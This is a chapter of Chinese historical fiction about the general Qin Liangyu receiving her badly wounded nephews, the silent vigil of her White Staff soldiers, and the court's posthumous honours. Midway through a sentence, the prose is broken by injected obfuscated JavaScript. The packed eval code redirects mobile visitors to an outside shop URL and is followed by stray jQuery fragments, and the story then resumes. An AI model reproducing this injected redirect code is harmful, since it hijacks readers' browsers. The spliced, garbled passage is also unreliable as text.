佐明和祚明是被人抬回来的。
从贵州到重庆，走了十二天。担架上铺着白布，白布底下是两个人。佐明的右肩箭伤溃了，发烧烧了三天，抬到行辕门口的时候人已经说不出话，只攥着担架的边。祚明左腿的刀伤没有药，拿草木灰糊了一层又一层，腿肿得比平时粗了一圈，布解开的时候肉已经发黑了。
抬担架的是两个白杆兵的老兵，一个叫罗大柱，一个叫陈三。他们从内庄跑出来之后，在贵州的山里找了五天才找到佐明和祚明。佐明把祚明扛到河边藏在一块大石头后面，自己又走了两里地去拦路过的商队要水。商队不肯停，佐明跪在路中间，跪了半个时辰，才有人丢了两袋水给他。
罗大柱找到他们的时候，佐明靠在石头上，一只手搂着祚明，另一只手还攥着刀。刀刃上全是豁口，刀把上的绳缠了三层，绳结是血结的——手上的血干了，把绳和肉粘在一起。
罗大柱把刀从他手里掰出来，手指头一根一根掰的。掰到小指的时候佐明醒了，看着罗大柱，嘴唇动了动，声音碎得像砂子："我弟……还……"
罗大柱蹲下去，手按在他肩上："还喘气呢。"
佐明又昏过去了。
秦良玉站在行辕门口。担架从她面前过，她看了一眼佐明，又看了一眼祚明。佐明的眼睛闭着，睫毛上结了血痂。祚明睁着眼，看见她，嘴张了一下，没出声。
她没拦担架，让人把他们抬进去找医官。
然后她站在门口，看着石板上还没干透的血点子。血从担架上滴下来，从门口一直滴到后院，断断续续的一条线。
她转身回了前厅。
桌上还摊着昨天的公文，贵州来的军报叠了三份，没有批。她坐下来，拿起笔，蘸了墨，在第一份军报上写了个"阅"字。写到第二份，墨干了，她又蘸。第三份写到一半，笔尖在纸上停住了。
她把笔放下，站起来，走到门口。
外面火把的光映在石板上，血迹和影子混在一起，分不清。
当晚，行辕里的白杆兵都知道了。
没有人传话。担架抬进来的时候，门口站了二十几个亲兵，他们看见了。有人跑回营房，什么都没说，就是坐下来把甲穿上，然后又走回行辕门口。
白杆兵三三两两地来了。没有人说话，就在行辕外面的空地上站着。站了一排，又站了一排。有人穿着甲，有人只穿了单衣，刀都没带。他们从营房走过来，走到行辕门口，看见地上那道血印子，然后站住。
人越来越多。天黑了，有人点了火把。火把插在空地边上，照着白杆兵的脸，一张一张的，都不说话。偶尔有人咳一声，旁边的人看他一眼，又低下头。
秦良玉在后院听见了外面的声音。不是吵，是没声音——几百个人站在那里，只听得到火把噼啪响和远处江水的声音。
她叫来亲兵："外头多少人？"
亲兵出去看了一眼回来："三百多。还在来。"
"不要拦。"
她没有出去。
医官半夜来报：佐明的箭伤在骨头上，箭头断在里面取不出来，得锯。祚明的腿保不住了，得截。
秦良玉说："锯。"
医官搓着手："没有麻沸散……人得醒着锯——"
"锯。"
医官去了。过了一会儿，后院传来佐明的声音，喊了一声，又咬住了。声音从后院传到前厅，闷闷的，像是从地底下钻上来的。
秦良玉坐在前厅。桌上摆着那封信——佐明写的，血迹已经干透发黑了。信旁边是昨天写的折子，"副总兵秦民屏，大方战殁"七个字还在。
她把信和折子一起收进匣子里。然后叫人来研墨，又写了一道折子：
"抚臣王三善被难，臣弟秦民屏战殁，侄佐明、祚明突围负伤。臣仇不共戴，义难苟安。乞伏圣朝大振天威，尽殄丑类，以拔生陷，以慰忠魂。"
写完，封了，让人送出去。
后院又传来一声。这次不是佐明——是祚明。截腿的声音不一样，更闷，像劈柴。
秦良玉把笔搁在砚台上，没有洗。墨干了，笔尖硬了，她也不管。
第二天早上，佐明醒了。
他烧退了一些，右肩裹着厚厚的布，血从布缝里渗出来。他看见秦良玉站在床边，嘴唇动了动，半天才挤出声来。
"姑……"
秦良玉说："你爹的枪呢？"
佐明愣了一下。他没料到她问的是这个。眼眶一红，偏过头去盯着墙，喉咙里咕噜了两声才说："内庄……丢在内庄了。"
秦良玉没再问。她在床边站了一会儿，转身出去。
祚明还没醒。他的左腿从膝盖以下截了，截下来的那段用布包着放在床脚边。布上洇出一滩暗色的水，不知道是血还是药。秦良玉看了一眼那包布，又看了一眼祚明的脸。他二十三岁，嘴上还是娃娃毛，下巴上长着几根稀疏的胡子。脸白得像纸，嘴唇干裂，呼吸又浅又快。
她转身走了。走到门口，停了一下，没回头。
"他爹的枪，找人打一把。"她对门口的亲兵说。
亲兵应了一声。
白杆兵还在行辕外面站着。
白天比夜里人多。不只是从营房来的，有从重庆城外赶回来的斥候，有从纳溪那边押粮到重庆的辎重兵。他们不知道消息是怎么传出去的，反正一个传一个，都知道了。
副总兵没了。
没有人哭。没有人喊。就是站着，有人靠墙，有人蹲着，有人拄着枪站在路中间。甲胄碰甲胄的声音也没有——大部分人没穿甲，有的甚至光着膀子，是刚从城外跑回来的。有个什长光着脚，鞋都跑掉了，脚底板上全是泡，他也不觉得。还有个老兵把枪插在地上，枪尖朝下，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17642626|206725||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人就靠着枪杆站着，站了半个时辰，枪杆被他靠弯了。
秦翼明和秦拱明也来了。他们是邦屏的儿子，民屏的侄子。翼明站在前面，拱明站在他后面。翼明看了行辕的门槛一眼，没有进去。
拱明说："姑姑在里面？"
翼明没说话，点了下头。
拱明往里看了一眼，站了一会儿："我去看看佐明他们。"
翼明说："嗯。"
拱明进去了。翼明没动，就站在空地上，跟白杆兵一起站着。
有个老兵给翼明递了碗水。翼明接了，没喝，端着。水凉了，他也没喝。
四月，朝廷的旨意到了。
赠秦民屏都督同知，立祠赐祭。佐明、祚明授参将。翼明、拱明皆进官至副总兵。
旨意是兵部拟的，天启帝用印。来传旨的钦差在行辕里念了一遍，秦良玉接了旨，谢了恩。钦差念到"赠都督同知"的时候停了一下，抬头看了秦良玉一眼——五十岁的人了，脸上的纹路比他想象的深。她穿着二品补服，站在那里接旨，脊背挺直，手没有抖。
钦差走后，秦良玉回到前厅，让人把圣旨和之前的折子放在一个匣子里。那个匣子里还有浑河之战后给邦屏请恤的折子，和天启三年六月弹劾李维新的折子。
三个折子。三道旨。三个姓秦的人。
她把匣子锁了，放在书架上。书架上还有一排别的匣子，有军报，有舆图，有粮草簿册。她把锁好的匣子推到最里面，靠着墙。
然后她走到后院。佐明已经能坐起来了，右肩还吊着绷带。祚明靠在床头，截了腿的地方换了一次药，他咬着布条不出声，额头上全是汗。
秦良玉在门口站了一下，说："你爹的祠，朝廷修。参将的文书，养好了去领。"
佐明张了张嘴："姑，我爹那杆枪…"
"我知道了。"
她转身走了。走到院子里，停了一下。院子角落里有一棵枇杷树，是去年移栽的，今年挂了果，青青的小果子挂在枝上还没熟。
她看了一眼那棵树，继续往前走。
行辕外面的白杆兵散了。不是一起走的，是一个一个走的。有人先动了脚，旁边的人看了一眼，也跟着走。走之前有人朝行辕里看了一眼，有人没看。
秦翼明是最后走的。他站了一天一夜，天亮的时候才离开。手里那碗水还端着，早就凉透了。
他走的时候，行辕门口的石板缝里还有干了的血迹。雨还没下，太阳照着，血迹变成了暗红色，像铁锈。
翼明看了那几道血印一眼，没踩，绕着走了。
他走了十几步，回头看了一眼行辕。门开着，里面没有人。门槛上有一道血指印，不知道是佐明还是祚明挣扎的时候蹭上去的。
翼明把门关上了。
门合上的时候，门缝里透进来的光一闪，然后暗了。